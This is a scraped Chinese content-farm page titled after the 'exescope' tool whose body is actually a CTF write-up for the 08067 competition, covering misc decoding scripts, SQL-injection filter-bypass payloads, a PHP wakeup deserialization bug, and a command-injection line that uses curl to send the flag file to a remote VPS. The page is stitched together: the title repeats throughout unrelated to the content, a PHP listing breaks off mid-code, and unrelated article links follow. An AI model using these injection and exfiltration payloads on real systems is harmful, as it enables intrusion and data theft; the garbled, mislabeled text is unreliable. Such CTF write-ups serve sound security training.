exescope(exescope是什么软件)

最近有很多读者朋友对exescope有疑问。由部分网友整理出相关内容希望能够解答你的疑惑,关于exescope是什么软件,本站也已经为你找到了问题的答案,希望能帮助到你。

exescope(exescope是什么软件)

作者:08067

预估稿费:300RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

比赛地址:ctf.08067.me

misc 100-1

http://misc.08067.me/misc4

misc 100-1 很简单,就是jsfuck和brianfuck两次编码,直接解出即可。

exescope(exescope是什么软件)

exescope(exescope是什么软件)

Misc 100-2

http://misc.08067.me/misc3/

Misc 100-2题目给的是一个图片,用winhex打开看到底部的密文

exescope(exescope是什么软件)

Base32解密得到:vbkq{ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}

发现是凯撒加密,不过奇偶数移位方向不一样,发现偏移量是16,用脚本跑一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
str = "vbkq{ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}"
for i in range(26):
key = ''
for x in str:
s = ord(x)
if (s not in range(97,123)) and (s not in range(65,91)):
key = key + chr(s)
else:
#print chr(s)
if s in range(97,123):
if s % 2 == 0:
s = s - i
if s not in range(97,123):
t = 97-s
t = 123-t
key = key + chr(t)
else:
key = key + chr(s)
else:
s = s + i
if s not in range(97,123):
t = s-122+96
key = key + chr(t)
else:
key = key + chr(s)
else:
#print chr(s)
if s % 2 == 0:
s = s - i
if s not in range(65,91):
t = 65-s
t = 91-t
key = key + chr(t)
else:
key = key + chr(s)
else:
s = s + i
if s not in range(65,91):
t = s-90+64
key = key + chr(t)
else:
key = key + chr(s)
print key

Misc 150

http://misc.08067.me/misc2/

打开wireshark数据包,提取http数据,得到一个flag.zip,

exescope(exescope是什么软件)

解压得到一个ce.txt文件,打开发现是一个rgb图片的像素点,然后用脚本还原即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from PIL import Image
import re
if __name__ == '__main__':
x = 887
y = 111
i = 0
j = 0
c = Image.new("RGB", (x,y))
file_object = open('ce.txt')
for i in range(0, x):
for j in range(0, y):
line = file_object.next()
lst = line.split(",")
c.putpixel((i, j), (int(lst[0]), int(lst[1]), int(lst[2])))
c.show()
c.save("c.png")

web 200-1

http://web1.08067.me/

注入,过滤了空格、#、*、union、like、regexp、and、or、|、–、&、%0a、%0b、%0c、%0d等,需要想办法用其他操作符连接注入语句和闭合’。

mysql操作符参考:http://blog.csdn.net/yuzongtao/article/details/45044963

几个可用的poc:

1
uname='!=!!(ascii(mid((passwd)from(1)))=99)!=!!'1&passwd=dddd
1
uname=12'%(ascii(mid((passwd)from(1)))=99)%'1&passwd=dddd
1
uname=12'%(ascii(mid((passwd)from(1)))=99)^'1&passwd=dddd
1
uname=12'-(length(trim(leading%a0'c12'%a0from%a0passwd))<32)-'0&passwd=1

来到后台,可以执行命令,但是对反弹shell的一些关键字做了过滤,对空格也做了过滤,只能通过cat读取flag,没又回显,然后打到用远程vps的日志上面

exp:

curl$IFS\vps:1234/`cat$IFS\../../flag`

exescope(exescope是什么软件)

exescope(exescope是什么软件)

web 200-2

http://web3.08067.me/

这道题主要是考察了php底层 wakeup 的一个bug,https://bugs.php.net/bug.php?id=72663

这道题根据tips:编辑器,可以考虑到.bak文件泄露

通过 robots.txt 发现了 function.php commom.php ,

最后找到了 function.php.bak index.php.bak

我们就获得了 整道题的代码

Index.php.bak

exescope(exescope是什么软件)

我们可以看见了这里 通过 cookie 的登陆

/function.php.bak

exescope(exescope是什么软件)

其他过滤代码 在该文件都可以得到

addslashes_deep() 是无法绕过的,我们就只能绕过wakeup

根据那个bug 的描述,我们直接进入 __destruct() ,这里我们取出了 $this->name

$this->name 是base64decode后,然后反序列化得到的,不用考虑waf等东西

我们看了这里只有一个 Checksql($sql)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
//sql 过滤
static function CheckSql($db_string,$querytype='select')
{
$clean='';
$error='';
$old_pos=0;
$pos=-1;
if($querytype=='select')
{
$notallow1="[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}";
if(preg_match("/".$notallow1."/i", $db_string))
{
exit("Error");
}
}
//完整的SQL检查
while (TRUE)
{
$pos=strpos($db_string, '\'', $pos + 1);
if ($pos===FALSE)
{
break;
}
$clean .=substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1=strpos($db_string, '\'', $pos + 1);
$pos2=strpos($db_string, '\\', $pos + 1);
if ($pos1===FALSE)
{
break;
}
elseif ($pos2==FALSE || $pos2 > $pos1)
{
$pos=$pos1;
break;
}
$pos=$pos2 + 1;
}
$clean .='$s

主题测试文章,只做测试使用。发布者:艾迪号,转转请注明出处:https://www.cqaedi.cn/baike/19542.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022年 12月 13日 上午4:53
下一篇 2022年 12月 13日 上午6:05

相关推荐

  • 世界十大猛禽实力排名(世界十大猛禽实力排名情况怎么样)

    最近,许多读者对世界十大猛禽的实力排名有疑问。有网友整理了相关内容,希望能回答你的疑惑。关于世界十大猛禽实力的排名,这个网站已经为你找到了问题的答案,希望对你有所帮助。 1、虎头海雕:虎头海雕是“海雕属”中最大的成员,也是猛禽之一。虎头海雕也是世界上最重的鹰。虎头海雕不仅是猛禽的老大,还因其头部为深棕色,有灰褐色的纵纹,看起来像虎斑而得名。此外,虎头海雕眼睛…

    百科大全 2023年 2月 10日
    00
  • 天然气怎么插卡,充了燃气费怎么插卡?

    充了燃气费怎么插卡? 1、准备好燃气卡。 2、将卡插入表中 打开燃气表的电池盖,将燃气卡正面向上插入燃气表,按燃气表具上插卡指示标记,芯片面朝向用卡。 3、进行充值 此时控制器正在将IC卡内的气量读入表内,进行充值。 4、显示读数和余额 听到“滴”的提示音后燃气表就会显示读数和余额了,上面的是天然气的平方数,下面是所剩的余额。 燃气怎么插卡使用方法 一、燃气…

    百科大全 2023年 7月 21日
    00
  • xr尺寸(xr尺寸大小)

    最近有很多读者朋友对xr尺寸有疑问。有网友整理了相关内容,希望能回答你的疑惑。关于xr尺寸,这个网站已经为你找到了问题的答案,希望对你有所帮助。 作者:半滴咖啡 曾经的IPhone傲慢,在业内领先,风头无二,而随着乔布斯的去世,一个天才时代也结束了,Iphone逐渐走下神坛。与乔布斯时代相比,库克控制下的苹果,少了一点肆意的才华,少了一点创意和创新,少了一点…

    百科大全 2023年 2月 4日
    00
  • 东南西北字母(指南针东南西北字母)

    1. 其前通常加 the;表示在某个方位,通常介词 in。如: He lives in the south (north). 他住在南(北)方。 The sun rises in the east and sets in the west. 太阳从东方升起,从西方落下。 【注】有时也不用冠词(尤其是表示纯方位或进行反义对比时)。如: I’m lost; wh…

    2023年 4月 27日
    00
  • difference的形容词(difference的形容词形式)

    最近有很多读者朋友和朋友交朋友difference形容词有疑问。有网友整理了相关内容,希望能回答你的疑惑。difference本网站还为您找到了形容词形式问题的答案,希望对您有所帮助。 A 动词: accept接受 achieve 实现 advise 建议 afford 支付得起 answer 回答 appear 出现 add 添加 act 行动 allow…

    百科大全 2023年 1月 10日
    00

站长QQ

7401002

在线咨询: QQ交谈

邮件:7401002@qq.com

工作时间:周一至周五,9:30-18:30,节假日休息

关注微信